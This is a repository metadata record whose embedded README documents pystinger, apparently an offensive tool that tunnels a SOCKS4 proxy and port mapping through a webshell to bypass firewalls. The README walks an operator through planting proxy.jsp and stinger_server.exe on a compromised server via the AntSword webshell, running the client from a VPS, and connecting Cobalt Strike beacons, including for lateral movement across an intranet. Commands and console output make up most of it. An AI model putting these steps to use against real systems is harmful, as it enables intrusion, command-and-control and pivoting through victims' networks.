{"id":13577586,"url":"https://github.com/FunnyWolf/pystinger","last_synced_at":"2025-04-05T12:30:45.280Z","repository":{"id":37686632,"uuid":"211607862","full_name":"FunnyWolf/pystinger","owner":"FunnyWolf","description":"Bypass firewall for traffic forwarding using webshell ","archived":false,"fork":false,"pushed_at":"2021-09-29T13:13:43.000Z","size":134,"stargazers_count":1394,"open_issues_count":4,"forks_count":205,"subscribers_count":21,"default_branch":"master","last_synced_at":"2025-04-01T19:23:57.030Z","etag":null,"topics":["cobalt-strike","regeorg","webshell"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/FunnyWolf.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-09-29T05:23:54.000Z","updated_at":"2025-04-01T11:50:00.000Z","dependencies_parsed_at":"2022-07-09T03:16:12.095Z","dependency_job_id":null,"html_url":"https://github.com/FunnyWolf/pystinger","commit_stats":null,"previous_names":[],"tags_count":7,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/FunnyWolf%2Fpystinger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/FunnyWolf%2Fpystinger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/FunnyWolf%2Fpystinger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/FunnyWolf%2Fpystinger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/FunnyWolf","download_url":"https://codeload.github.com/FunnyWolf/pystinger/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247338535,"owners_count":20922986,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cobalt-strike","regeorg","webshell"],"created_at":"2024-08-01T15:01:22.710Z","updated_at":"2025-04-05T12:30:40.270Z","avatar_url":"https://github.com/FunnyWolf.png","language":"Python","readme":"# pystinger\n\nEnglish | [简体中文](./readme_cn.md) \n\nPystinger implements **SOCK4 proxy** and **port mapping** through webshell.\n\nIt can be directly used by metasploit-framework, viper, cobalt strike for session online.\n\nPystinger is developed in python, and currently supports three proxy scripts: php, jsp(x) and aspx.\n\n\n# Usage\n\u003e Suppose the domain name of the server is[ http://example.com :8080](http://192.168.3.11:8080) The intranet IPAddress of the server intranet is 192.168.3.11\n\n## SOCK4 Proxy\n\n\n* ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8```\n* ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe```to start pystinger-server\n\u003e Don't run ```D:/xxx/singer_server.exe``` directly,it will cause TCP disconnection\n* Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS\n* Your will see following output\n```\nroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000\n2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...\n2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass\n2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000\n2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...\n2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass\n2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp\n2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...\n2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass\n2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---\n2020-01-06 21:12:47,696 - INFO - 647 - client_address_list =\u003e []\n2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN =\u003e 127.0.0.1:60010\n2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL =\u003e INFO\n2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN =\u003e 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list =\u003e []\n2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE =\u003e 51200\n2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01\n2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---\n2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020\n2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start\n2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000\n2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept\n```\n* Now you have started a *socks4a proxy* on VPS ```127.0.0.1:60000``` for intranet of ```example.com```.\n* Now the target server(```example.com```) ```127.0.0.1:60020``` has been mapped to the VPS ``` 127.0.0.1:60020```\n\n## cobaltstrike`s beacon online for single target\n\n* ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8```\n* ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe```to start pystinger-server\n\u003e Don't run ```D:/xxx/singer_server.exe``` directly,it will cause TCP disconnection\n* Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS\n* Your will see following output\n```\nroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000\n2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...\n2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass\n2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000\n2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...\n2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass\n2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp\n2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...\n2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass\n2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---\n2020-01-06 21:12:47,696 - INFO - 647 - client_address_list =\u003e []\n2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN =\u003e 127.0.0.1:60010\n2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL =\u003e INFO\n2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN =\u003e 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list =\u003e []\n2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE =\u003e 51200\n2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01\n2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---\n2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020\n2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start\n2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000\n2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept\n```\n* Add listener on cobaltstrike,Listener port is ```60020``` (Handler/LISTEN port in ```RAT CONFIG``` of output ),listener address is ```127.0.0.1```\n* Generate payload,upload to the target and run.\n\n## cobaltstrike`s beacon online for multi targets\n\n* ```proxy.jsp``` Upload to the target server and ensure that [http://example.com:8080/proxy.jsp](http://example.com:8080/proxy.jsp) can access,the page returns ```UTF-8```\n* ```stinger_server.exe``` Upload to the target server,AntSword run cmd```start D:/XXX/stinger_server.exe  192.168.3.11```to start pystinger-server (192.168.3.11 is intranet ipaddress of the target)\n\u003e 192.168.3.11 can change to 0.0.0.0\n* Run ```./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000``` on your VPS\n* Your will see following output\n```\nroot@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000\n2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...\n2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass\n2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000\n2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...\n2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass\n2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp\n2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...\n2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass\n2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---\n2020-01-06 21:12:47,696 - INFO - 647 - client_address_list =\u003e []\n2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN =\u003e 127.0.0.1:60010\n2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL =\u003e INFO\n2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN =\u003e 192.168.3.11:60020\n2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list =\u003e []\n2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE =\u003e 51200\n2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01\n2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---\n2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020\n2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020\n2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start\n2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000\n2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept\n```\n* Add listener on cobaltstrike,Listener port is ```60020``` (Handler/LISTEN port in ```RAT CONFIG``` of output ),listener address is ```192.168.3.11```\n* Generate payload,upload to the target and run.\n* When lateral movement to other hosts, you can point the payload to 192.168.3.11:60020 to make beacon online\n\n## Custom header and proxy\n* If the webshell needs to configure cookie or authorization, the request header can be configured through the -- header parameter\n```--header \"Authorization: XXXXXX,Cookie: XXXXX\"```\n\n* If the webshell needs to be accessed by proxy, you can set the proxy through -- proxy\n```--proxy \"socks5:127.0.0.1:1081\"```\n\n# Related tools\n[https://github.com/nccgroup/ABPTTS](https://github.com/nccgroup/ABPTTS)\n\n[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)\n\n[https://github.com/SECFORCE/Tunna](https://github.com/SECFORCE/Tunna)\n\n# Tested\n## stinger_server\\stinger_client\n* windows \n* linux\n## proxy.jsp(x)/php/aspx\n* php7.2 \n* tomcat7.0 \n* iis8.0\n\n# Update log\n**2.0**\nUpdate time: 2019-09-29\n* Socks4 proxy service moves to client\n\n**2.1**\nUpdate time: 2020-01-07\n* Support cobaltstrike online (port mapping)\n\nThe development is supported by the software from jetbrains.\u003c/br\u003e\nhttps://www.jetbrains.com/?from=pystinger\n\n\u003ca href=\"https://www.jetbrains.com/?from=pystinger\" target=\"_blank\"\u003e\n  \u003cimg src=\"jetbrains.svg\"\u003e\n\u003c/a\u003e\n","funding_links":[],"categories":["Python","web shell、shellcode","Python (1887)"],"sub_categories":["网络服务_其他"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFunnyWolf%2Fpystinger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FFunnyWolf%2Fpystinger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FFunnyWolf%2Fpystinger/lists"}